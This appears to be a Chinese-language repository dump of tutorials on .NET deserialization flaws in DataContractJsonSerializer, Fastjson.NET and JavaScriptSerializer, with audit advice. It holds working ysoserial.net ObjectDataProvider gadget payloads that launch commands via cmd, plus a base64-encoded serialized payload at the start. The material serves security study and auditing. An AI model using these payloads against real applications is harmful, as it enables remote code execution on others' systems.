ZVSEp2WTJWemN6NE5DaUFnSUNBZ0lEeHpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQWdJQ0FnUEhOa09sQnliMk5sYzNOVGRHRnlkRWx1Wm04Z1FYSm5kVzFsYm5SelBTSXZZeUJqWVd4aklpQlRkR0Z1WkdGeVpFVnljbTl5Ulc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVGRHRnVaR0Z5WkU5MWRIQjFkRVZ1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVlhObGNrNWhiV1U5SWlJZ1VHRnpjM2R2Y21ROUludDRPazUxYkd4OUlpQkViMjFoYVc0OUlpSWdURzloWkZWelpYSlFjbTltYVd4bFBTSkdZV3h6WlNJZ1JtbHNaVTVoYldVOUltTnRaQ0lnTHo0TkNpQWdJQ0FnSUR3dmMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ1BDOXpaRHBRY205alpYTnpQZzBLSUNBOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0TkNqd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlQZ3M9BgYAAACAA0FBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBSTRCVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV011VEdsemRHQXhXMXRUZVhOMFpXMHVVMlZqZFhKcGRIa3VRMnhoYVcxekxrTnNZV2x0TENCdGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09EbGRYUU1BQUFBR1gybDBaVzF6QlY5emFYcGxDRjkyWlhKemFXOXVBd0FBSGxONWMzUmxiUzVUWldOMWNtbDBlUzVEYkdGcGJYTXVRMnhoYVcxYlhRZ0lDUUlBQUFBQUFBQUFBQUFBQUFjQ0FBQUFBQUVBQUFBQUFBQUFBeHhUZVhOMFpXMHVVMlZqZFhKcGRIa3VRMnhoYVcxekxrTnNZV2x0Q3c9PQT5////DVN5c3RlbS5JbnRQdHIBAAAABXZhbHVlAAkgAwAAAAAAAAs="}} 62 | ``` 63 | 64 | __type字段可以通过DataContractJsonSerializerSettings传入DataContractJsonSerializer的构造方法。 65 | 66 | ```csharp 67 | using System; 68 | using System.Collections.Generic; 69 | using System.IO; 70 | using System.Runtime.Serialization; 71 | using System.Runtime.Serialization.Json; 72 | using System.Security.Principal; 73 | using System.Text.RegularExpressions; 74 | 75 | namespace DataContractJsonDeserializer 76 | { 77 | [DataContract] 78 | internal class Person 79 | { 80 | [DataMember] 81 | internal string name; 82 | [DataMember] 83 | internal int age; 84 | [DataMember] 85 | object o; 86 | } 87 | class Program 88 | { 89 | static void Main(string[] args) 90 | { 91 | var settings = new DataContractJsonSerializerSettings(); 92 | settings.EmitTypeInformation = EmitTypeInformation.Always; 93 | var ser = new DataContractJsonSerializer(typeof(Person), settings); 94 | using (FileStream file = new FileStream("1.json", FileMode.OpenOrCreate)) 95 | { 96 | Person person = new Person(); 97 | person.name = "jack"; 98 | person.age = 19; 99 | ser.WriteObject(file, person); 100 | } 101 | Console.ReadKey(); 102 | } 103 | } 104 | } 105 | ``` 106 | 107 | 当setting的EmitTypeInformation设置为EmitTypeInformation.Always时json会包含type信息。即上文yso生成的__type字段。 108 | 109 | 110 | 111 | 使用yso的payload来进行rce,有几种方法: 112 | 113 | 1. 代码需要可控type。 114 | 115 | ```csharp 116 | using System; 117 | using System.IO; 118 | using System.Runtime.Serialization; 119 | using System.Runtime.Serialization.Json; 120 | 121 | namespace DataContractJsonDeserializer 122 | { 123 | class Program 124 | { 125 | static void Main(string[] args) 126 | { 127 | var settings = new DataContractJsonSerializerSettings(); 128 | settings.EmitTypeInformation = EmitTypeInformation.Always; 129 | var ser = new DataContractJsonSerializer(Type.GetType("System.Security.Principal.WindowsPrincipal"), settings); 130 | 131 | using (FileStream file = new FileStream("1.json", FileMode.OpenOrCreate)) 132 | { 133 | ser.ReadObject(file); 134 | } 135 | Console.ReadKey(); 136 | } 137 | } 138 | } 139 | 140 | ``` 141 | 142 | 如果Type.GetType("System.Security.Principal.WindowsPrincipal")可控,可以RCE。 143 | 144 | 2. KnownType特性 145 | 146 | ```csharp 147 | using System; 148 | using System.IO; 149 | using System.Runtime.Serialization; 150 | using System.Runtime.Serialization.Json; 151 | using System.Security.Principal; 152 | 153 | namespace DataContractJsonDeserializer 154 | { 155 | [DataContract] 156 | [KnownType(typeof(WindowsPrincipal))] 157 | internal class Person 158 | { 159 | [DataMember] 160 | internal string name; 161 | 162 | [DataMember] 163 | internal int age; 164 | [DataMember] 165 | object o; 166 | } 167 | class Program 168 | { 169 | static void Main(string[] args) 170 | { 171 | var ser = new DataContractJsonSerializer(typeof(Person)); 172 | using (FileStream file = new FileStream("1.json", FileMode.OpenOrCreate)) 173 | { 174 | ser.ReadObject(file); 175 | } 176 | Console.ReadKey(); 177 | } 178 | } 179 | } 180 | ``` 181 | 182 | `[KnownType(typeof(WindowsPrincipal))]`标记WindowsPrincipal为已知类型。但是这个地方太难利用了。 183 | 184 | 3. 构造函数中传入KnownType 185 | 186 | ```csharp 187 | using System; 188 | using System.Collections.Generic; 189 | using System.IO; 190 | using System.Runtime.Serialization; 191 | using System.Runtime.Serialization.Json; 192 | using System.Security.Principal; 193 | 194 | namespace DataContractJsonDeserializer 195 | { 196 | [DataContract] 197 | internal class Person 198 | { 199 | [DataMember] 200 | internal string name; 201 | [DataMember] 202 | internal int age; 203 | [DataMember] 204 | object o; 205 | } 206 | class Program 207 | { 208 | static void Main(string[] args) 209 | { 210 | var settings = new DataContractJsonSerializerSettings(); 211 | settings.EmitTypeInformation = EmitTypeInformation.Always; 212 | var ser = new DataContractJsonSerializer(typeof(Person), new List { typeof(WindowsPrincipal) }); 213 | using (FileStream file = new FileStream("1.json", FileMode.OpenOrCreate)) 214 | { 215 | ser.ReadObject(file); 216 | } 217 | Console.ReadKey(); 218 | } 219 | } 220 | } 221 | ``` 222 | 223 | 构造函数中将`new List { typeof(WindowsPrincipal)}`传入,也能RCE。 224 | 225 | 226 | 227 | 除了上文三种方法外,再引入一个新的东西IDataContractSurrogate 接口 228 | 229 | # IDataContractSurrogate 230 | 231 | 在DataContractJsonSerializer构造函数中有如下重载 232 | 233 | ```csharp 234 | // 235 | // 摘要: 236 | // 初始化 System.Runtime.Serialization.Json.DataContractJsonSerializer 类的新实例,以便序列化或反序列化指定类型的对象。 237 | // 此方法还指定了可在对象图中呈现的已知类型的列表、要序列化或反序列化的最大图项数、是忽略意外数据还是发出类型信息以及自定义序列化的代理项。 238 | // 239 | // 参数: 240 | // type: 241 | // 序列化或反序列化的实例的类型。 242 | // 243 | // knownTypes: 244 | // 一个包含内容的根元素名称的 System.Xml.XmlDictionaryString。 245 | // 246 | // maxItemsInObjectGraph: 247 | // System.Collections.Generic.IEnumerable`1 的一个 System.Type,其中包含可在对象图中呈现的类型。 248 | // 249 | // ignoreExtensionDataObject: 250 | // 若要在序列化时忽略 true 接口并在反序列化时忽略意外数据,则为 System.Runtime.Serialization.IExtensibleDataObject;否则为 251 | // false。 默认值为 false。 252 | // 253 | // dataContractSurrogate: 254 | // 一个用于自定义序列化过程的 System.Runtime.Serialization.IDataContractSurrogate 实现。 255 | // 256 | // alwaysEmitTypeInformation: 257 | // 若要发出类型信息,则为 true;否则为 false。 默认值为 false。 258 | public DataContractJsonSerializer(Type type, IEnumerable knownTypes, int maxItemsInObjectGraph, bool ignoreExtensionDataObject, IDataContractSurrogate dataContractSurrogate, bool alwaysEmitTypeInformation); 259 | 260 | ``` 261 | 262 | 其中提到了dataContractSurrogate参数,用于自定义序列化过程的 System.Runtime.Serialization.IDataContractSurrogate 实现。 263 | 264 | 因为DataContractJsonSerializer只有已知类型knownTypes的对象才能被序列化,而在实体类中不可避免的需要接入其他没有被标记DataContract特性的类,而没标记DataContract特性,就不在konwnTypes中,就不能被序列化。所以引入IDataContractSurrogate接口,作用是控制实体类引入了不在knownTypes中的类型实例应该如何被序列化存储。 265 | 266 | 写一个demo看看。 267 | 268 | ```csharp 269 | using System; 270 | using System.CodeDom; 271 | using System.Collections.Generic; 272 | using System.Collections.ObjectModel; 273 | using System.IO; 274 | using System.Reflection; 275 | using System.Runtime.Serialization; 276 | using System.Runtime.Serialization.Json; 277 | using System.Xml.Serialization; 278 | 279 | namespace DataContractJsonDeserializer 280 | { 281 | [DataContract] 282 | public class Person 283 | { 284 | [DataMember] 285 | public string Name { get; set; } 286 | [DataMember] 287 | public Dog dog; 288 | } 289 | public class Dog 290 | { 291 | public string Name { get; set; } 292 | } 293 | 294 | [DataContract] 295 | class DogSurrogated 296 | { 297 | [DataMember()] 298 | public string xmlData; 299 | } 300 | class DogSurrogate : IDataContractSurrogate 301 | { 302 | public object GetCustomDataToExport(MemberInfo memberInfo, Type dataContractType) 303 | { 304 | Console.WriteLine("GetCustomDataToExport invoked"); 305 | return null; 306 | } 307 | 308 | public object GetCustomDataToExport(Type clrType, Type dataContractType) 309 | { 310 | Console.WriteLine("GetCustomDataToExport invoked"); 311 | return null; 312 | } 313 | 314 | public Type GetDataContractType(Type type) 315 | { 316 | Console.WriteLine($"GetDataContractType invoked, {type}"); 317 | if (type.IsAssignableFrom(typeof(Dog))) 318 | { 319 | return typeof(DogSurrogated); 320 | } 321 | return type; 322 | } 323 | 324 | public object GetDeserializedObject(object obj, Type targetType) 325 | { 326 | Console.WriteLine($"GetDeserializedObject invoked {obj}"); 327 | if (obj is DogSurrogated) 328 | { 329 | DogSurrogated ps = (DogSurrogated)obj; 330 | XmlSerializer xs = new XmlSerializer(typeof(Dog)); 331 | return (Dog)xs.Deserialize(new StringReader(ps.xmlData)); 332 | } 333 | return obj; 334 | } 335 | 336 | public void GetKnownCustomDataTypes(Collection customDataTypes) 337 | { 338 | Console.WriteLine($"GetKnownCustomDataTypes invoked. {customDataTypes}"); 339 | 340 | } 341 | 342 | public object GetObjectToSerialize(object obj, Type targetType) 343 | { 344 | Console.WriteLine($"GetObjectToSerialize invoked,{obj},{targetType.FullName}"); 345 | if (obj is Dog) 346 | { 347 | DogSurrogated ps = new DogSurrogated(); 348 | XmlSerializer xs = new XmlSerializer(typeof(Dog)); 349 | StringWriter sw = new StringWriter(); 350 | xs.Serialize(sw, (Dog)obj); 351 | ps.xmlData = sw.ToString(); 352 | return ps; 353 | } 354 | return obj; 355 | } 356 | 357 | public Type GetReferencedTypeOnImport(string typeName, string typeNamespace, object customData) 358 | { 359 | Console.WriteLine("GetReferencedTypeOnImport invoked"); 360 | Console.WriteLine("\t Type Name: {0}", typeName); 361 | 362 | if (typeName.Equals("DogSurrogated")) 363 | { 364 | Console.WriteLine("Returning Dog"); 365 | return typeof(Dog); 366 | } 367 | return null; 368 | } 369 | 370 | public CodeTypeDeclaration ProcessImportedType(CodeTypeDeclaration typeDeclaration, CodeCompileUnit compileUnit) 371 | { 372 | Console.WriteLine("ProcessImportedType invoked"); 373 | return typeDeclaration; 374 | } 375 | } 376 | public class Program 377 | { 378 | public static void Main(string[] vs) 379 | { 380 | Person person = new Person(); 381 | person.Name = "jack"; 382 | Dog dog = new Dog(); 383 | dog.Name = "jjjj"; 384 | person.dog = dog; 385 | List knownTypes = new List(); 386 | DogSurrogate surrogate = new DogSurrogate(); 387 | //DataContractSerializer surrogateSerializer = new DataContractSerializer(typeof(Person), knownTypes, Int16.MaxValue, false, true, surrogate); 388 | DataContractJsonSerializer dataContractJsonSerializer = new DataContractJsonSerializer(typeof(Person), knownTypes, int.MaxValue, false, surrogate, false); 389 | FileStream fs = new FileStream("1.txt", FileMode.OpenOrCreate); 390 | dataContractJsonSerializer.WriteObject(fs, person); 391 | fs.Close(); 392 | Console.WriteLine(File.ReadAllText("1.txt")); 393 | 394 | Person p1 = (Person)dataContractJsonSerializer.ReadObject(File.Open("1.txt", FileMode.Open)); 395 | Console.WriteLine($"person.Name:{p1.Name}\t person.dog.Name:{p1.dog.Name}"); 396 | Console.ReadKey(); 397 | } 398 | } 399 | } 400 | ``` 401 | 402 | 输出结果 403 | 404 | ``` 405 | GetDataContractType invoked, DataContractJsonDeserializer.Person 406 | GetObjectToSerialize invoked,DataContractJsonDeserializer.Person,DataContractJsonDeserializer.Person 407 | GetDataContractType invoked, DataContractJsonDeserializer.Dog 408 | GetObjectToSerialize invoked,DataContractJsonDeserializer.Dog,DataContractJsonDeserializer.DogSurrogated 409 | {"Name":"jack","dog":{"xmlData":"\u000d\u000a\u000d\u000a jjjj<\/Name>\u000d\u000a<\/Dog>"}} 410 | GetDataContractType invoked, DataContractJsonDeserializer.Dog 411 | GetDeserializedObject invoked DataContractJsonDeserializer.DogSurrogated 412 | GetDeserializedObject invoked DataContractJsonDeserializer.Person 413 | person.Name:jack person.dog.Name:jjjj 414 | ``` 415 | 416 | ![image-20210513105243050](DataContractJsonSerializer.assets/image-20210513105243050.png) 417 | 418 | 其中Person标记了DataContract,但是其dog字段的类型Dog没有标记DataContract,所以新建了一个DogSurrogated类来表示Dog类型。 419 | 420 | 在代码中新建了DogSurrogate类实现IDataContractSurrogate接口方法,并将其传入DataContractJsonSerializer构造函数。 421 | 422 | ![image-20210513105454590](DataContractJsonSerializer.assets/image-20210513105454590.png) 423 | 424 | 通过DogSurrogate代理DogSurrogated实体类进行序列化,在GetDataContractType判断实例类型 425 | 426 | ![image-20210513105622853](DataContractJsonSerializer.assets/image-20210513105622853.png) 427 | 428 | 如果是Dog类就用DogSurrogated类替代,并通过xmlserializer进行序列化存储到DogSurrogated.xmlData字段。反序列化时再通过xml反序列化读取xmlData字段转回来 429 | 430 | ![image-20210513105757132](DataContractJsonSerializer.assets/image-20210513105757132.png) 431 | 432 | 那么这边其实有两个安全问题。 433 | 434 | 1. GetDataContractType的时候判断type是否可控 435 | 2. GetDeserializedObject GetObjectToSerialize 序列化反序列化时如果直接用其他反序列化formatter,那么也可能RCE。比如base64的binaryformatter。 436 | 437 | # 审计视角 438 | 439 | 如上文所述,关注构造函数的参数type、knownTypes和自定义DataContractJsonSerializerSettings、自定义IDataContractSurrogate的实现。 440 | 441 | # 后文 442 | 443 | 本文讲解了DataContractJsonSerializer的序列化和反序列化,并针对IDataContractSurrogate进行讲解。综合来讲DataContractJsonSerializer比较难利用。 444 | 445 | -------------------------------------------------------------------------------- /DataContractSerializer.assets/image-20210508111627538.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractSerializer.assets/image-20210508111627538.png -------------------------------------------------------------------------------- /DataContractSerializer.assets/image-20210508161519748.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractSerializer.assets/image-20210508161519748.png -------------------------------------------------------------------------------- /DataContractSerializer.assets/image-20210508161849196.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractSerializer.assets/image-20210508161849196.png -------------------------------------------------------------------------------- /DataContractSerializer.assets/image-20210508161954425.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractSerializer.assets/image-20210508161954425.png -------------------------------------------------------------------------------- /DataContractSerializer.assets/image-20210512170851071.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractSerializer.assets/image-20210512170851071.png -------------------------------------------------------------------------------- /DataContractSerializer.assets/image-20210512171152157.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractSerializer.assets/image-20210512171152157.png -------------------------------------------------------------------------------- /Fastjson.assets/image-20210517172621037.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Fastjson.assets/image-20210517172621037.png -------------------------------------------------------------------------------- /Fastjson.assets/image-20210517173015665.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Fastjson.assets/image-20210517173015665.png -------------------------------------------------------------------------------- /Fastjson.assets/image-20210517173139444.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Fastjson.assets/image-20210517173139444.png -------------------------------------------------------------------------------- /Fastjson.assets/net4auto_deserialize.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Fastjson.assets/net4auto_deserialize.png -------------------------------------------------------------------------------- /Fastjson.md: -------------------------------------------------------------------------------- 1 | # Fastjson 2 | 3 | fastjson是之前比较流行的第三方json库。[官方文档](https://www.codeproject.com/Articles/159450/fastJSON-Smallest-Fastest-Polymorphic-JSON-Seriali)宣称其性能测试第一,并且给了图 4 | 5 | ![xxxxxxxxxxxxxxx](Fastjson.assets/net4auto_deserialize.png) 6 | 7 | 本文讲解fastjson.net的反序列化漏洞 8 | 9 | # demo 10 | 11 | 一个最小的序列化demo 12 | 13 | ```csharp 14 | using fastJSON; 15 | using System; 16 | 17 | namespace Fastjson.NetSerializer 18 | { 19 | class Person 20 | { 21 | public string Name { get; set; } 22 | } 23 | class Program 24 | { 25 | static void Main(string[] args) 26 | { 27 | Person person = new Person(); 28 | person.Name = "jack"; 29 | string json = JSON.ToJSON(person); 30 | Console.WriteLine(json); 31 | Person p = JSON.ToObject(json); 32 | Console.WriteLine(p.Name); 33 | Console.ReadKey(); 34 | } 35 | } 36 | } 37 | ``` 38 | 39 | 输出 40 | 41 | ```json 42 | {"$types":{"Fastjson.NetSerializer.Person, Fastjson.NetSerializer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null":"1"},"$type":"1","Name":"jack"} 43 | jack 44 | ``` 45 | 46 | 可见附带了type信息,那么当json可控时,传入objectdataprovider可造成RCE。 47 | 48 | # 攻击链objectdataprovider 49 | 50 | ysoserial.net生成payload如下 51 | 52 | ```json 53 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f fastjson -g ObjectDataProvider -c calc 54 | { 55 | "$types":{ 56 | "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35":"1", 57 | "System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089":"2", 58 | "System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089":"3" 59 | }, 60 | "$type":"1", 61 | "ObjectInstance":{ 62 | "$type":"2", 63 | "StartInfo":{ 64 | "$type":"3", 65 | "FileName":"cmd","Arguments":"/c calc" 66 | } 67 | }, 68 | "MethodName":"Start" 69 | } 70 | ``` 71 | 72 | json传入反序列化之后弹出calc 73 | 74 | ![image-20210517172621037](Fastjson.assets/image-20210517172621037.png) 75 | 76 | 上图是使用fastjson2.2.4版本,在fastjson2.3.0版本之后,官方的GitHub仓库有一个[issue](https://github.com/mgholam/fastJSON/issues/108)提到了type可控造成RCE漏洞,由此作者在2.3.0之后增加了`JSONParameters.BlackListTypeChecking`来检查type值是否为已知的漏洞,类似于java中的fastjson黑名单。[commit在这里](https://github.com/mgholam/fastJSON/commit/52abf6cc2c60a75ea5d85ec8ea348461d095ddfb) 77 | 78 | 黑名单关键代码如下 79 | 80 | ![image-20210517173015665](Fastjson.assets/image-20210517173015665.png) 81 | 82 | 当使用同样的payload打2.3.0及以上版本的fastjson时,会抛出异常 83 | 84 | ![image-20210517173139444](Fastjson.assets/image-20210517173139444.png) 85 | 86 | > Black list type encountered, possible attack vector when using $type : System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35” 87 | 88 | # 审计 89 | 90 | 关注fastjson的版本,以及json传入是否可控。 91 | 92 | # 后文 93 | 94 | fastjson因为json.net的兴起逐渐被取代,但仍是比较经典的json反序列化漏洞。 -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514092932158.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514092932158.png -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514094331079.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514094331079.png -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514094745730.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514094745730.png -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514094847452.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514094847452.png -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514094939562.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514094939562.png -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514095127803.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514095127803.png -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514095534507.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514095534507.png -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514095920487.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514095920487.png -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514100023105.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514100023105.png -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514100405168.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514100405168.png -------------------------------------------------------------------------------- /JavaScriptSerializer.assets/image-20210514101044055.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/JavaScriptSerializer.assets/image-20210514101044055.png -------------------------------------------------------------------------------- /JavaScriptSerializer.md: -------------------------------------------------------------------------------- 1 | # JavaScriptSerializer 2 | 3 | JavaScriptSerializer是微软内部自带的api,可以在对象和json字符串之前来回转换。其命名空间位于System.Web.Script.Serialization,结构如下: 4 | 5 | ![image-20210514092932158](JavaScriptSerializer.assets/image-20210514092932158.png) 6 | 7 | # demo 8 | 9 | 序列化反序列化demo 10 | 11 | ```csharp 12 | using System; 13 | using System.Web.Script.Serialization; 14 | 15 | namespace JavaScriptDeserialize 16 | { 17 | class Person 18 | { 19 | public string Name { get; set; } 20 | 21 | } 22 | class Program 23 | { 24 | static void Main(string[] args) 25 | { 26 | // no SimpleTypeResolver 27 | Person person = new Person() { Name = "jack" }; 28 | JavaScriptSerializer serializer = new JavaScriptSerializer(); 29 | string v = serializer.Serialize(person); 30 | Console.WriteLine(v); 31 | Person p = serializer.Deserialize(v); 32 | Console.WriteLine(p.Name); 33 | 34 | // SimpleTypeResolver 35 | JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver()); 36 | string v1 = serializerWithType.Serialize(person); 37 | Console.WriteLine(v1); 38 | Person p1 = serializerWithType.Deserialize(v1); 39 | Console.WriteLine(p1.Name); 40 | Console.ReadKey(); 41 | } 42 | } 43 | } 44 | ``` 45 | 46 | 输出 47 | 48 | ```json 49 | {"Name":"jack"} 50 | jack 51 | {"__type":"JavaScriptDeserialize.Person, JavaScriptDeserialize, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":"jack"} 52 | jack 53 | ``` 54 | 55 | 产生漏洞的原因是在构造函数有两个参数的重载:`public JavaScriptSerializer(JavaScriptTypeResolver resolver)`,其中JavaScriptTypeResolver参数是一个类型解析器,可在序列化字符串中自定义类型的元数据程序集限定名称。 56 | 57 | 当构造函数使用SimpleTypeResolver参数时,序列化的json中会带有type信息,反序列化时就有漏洞隐患。反序列化方法有三个: 58 | 59 | ![image-20210514094331079](JavaScriptSerializer.assets/image-20210514094331079.png) 60 | 61 | 这三个方法都是对`internal static object Deserialize(JavaScriptSerializer serializer, string input, Type type, int depthLimit)`的一个封装 62 | 63 | ![image-20210514094745730](JavaScriptSerializer.assets/image-20210514094745730.png) 64 | 65 | 调用BasicDeserialize 66 | 67 | ![image-20210514094847452](JavaScriptSerializer.assets/image-20210514094847452.png) 68 | 69 | 继续调用DeserializeInternal 70 | 71 | ![image-20210514094939562](JavaScriptSerializer.assets/image-20210514094939562.png) 72 | 73 | 然后 74 | 75 | ![image-20210514095127803](JavaScriptSerializer.assets/image-20210514095127803.png) 76 | 77 | 根据节点标签不同的类型进入不同的反序列化实现,当节点标签是Object类型时,先DeserializeDictionary拿到键值对字典,如果包含了`__type`字段,则会进入ConvertObjectToType转换类型。然后一层层进入ConvertObjectToTypeInternal 78 | 79 | ![image-20210514095534507](JavaScriptSerializer.assets/image-20210514095534507.png) 80 | 81 | ConvertObjectToTypeInternal中又会进入ConvertDictionaryToObject 82 | 83 | ![image-20210514095920487](JavaScriptSerializer.assets/image-20210514095920487.png) 84 | 85 | 在ConvertDictionaryToObject中,当满足`if (serializer.TypeResolver != null)`类型解析器不为空时,尝试获取`__type`字段的值赋值给obj2,然后强转字符串赋值给text变量。然后通过`serializer.TypeResolver.ResolveType(text)`拿到type赋值给type2。 86 | 87 | ![image-20210514100023105](JavaScriptSerializer.assets/image-20210514100023105.png) 88 | 89 | 而类型解析器ResolveType中直接使用Type.GetType获取类型,相当于`__type`控制对象类型。 90 | 91 | ![image-20210514101044055](JavaScriptSerializer.assets/image-20210514101044055.png) 92 | 93 | 而type2最终通过`Activator.CreateInstance(type2)`创建对应类型实例。 94 | 95 | ![image-20210514100405168](JavaScriptSerializer.assets/image-20210514100405168.png) 96 | 97 | 那么我们传入包含`__type`字段的json,就会转为对应类型的对象。 98 | 99 | # 攻击链 100 | 101 | 使用ObjectDataProvider攻击链,通过ObjectDataProvider来创建Process实例。payload如下: 102 | 103 | ```json 104 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f JavaScriptSerializer -g objectdataprovider -c calc 105 | { 106 | '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 107 | 'MethodName':'Start', 108 | 'ObjectInstance':{ 109 | '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 110 | 'StartInfo': { 111 | '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 112 | 'FileName':'cmd', 'Arguments':'/c calc' 113 | } 114 | } 115 | } 116 | ``` 117 | 118 | 反序列化代码如下 119 | 120 | ```csharp 121 | using System; 122 | using System.IO; 123 | using System.Web.Script.Serialization; 124 | 125 | namespace JavaScriptDeserialize 126 | { 127 | class Program 128 | { 129 | static void Main(string[] args) 130 | { 131 | // SimpleTypeResolver 132 | JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver()); 133 | serializerWithType.Deserialize(File.ReadAllText("1.json")); 134 | Console.ReadKey(); 135 | } 136 | } 137 | } 138 | ``` 139 | 140 | 这里`Deserialize`用到了Object类型。也可以用其他的Deserialize重载方法。 141 | 142 | # 审计 143 | 144 | 关注传入的json字符串是否可控,以及构造函数中JavaScriptTypeResolver参数,审计自定义类型解析器对于type的校验是否严谨。 145 | 146 | # 后文 147 | 148 | 本文讲解了JavaScriptSerializer序列化api,如果有错误,请指正。 149 | 150 | -------------------------------------------------------------------------------- /Json.Net.assets/image-20210517094642443.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Json.Net.assets/image-20210517094642443.png -------------------------------------------------------------------------------- /Json.Net.assets/image-20210517094741346.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/Json.Net.assets/image-20210517094741346.png -------------------------------------------------------------------------------- 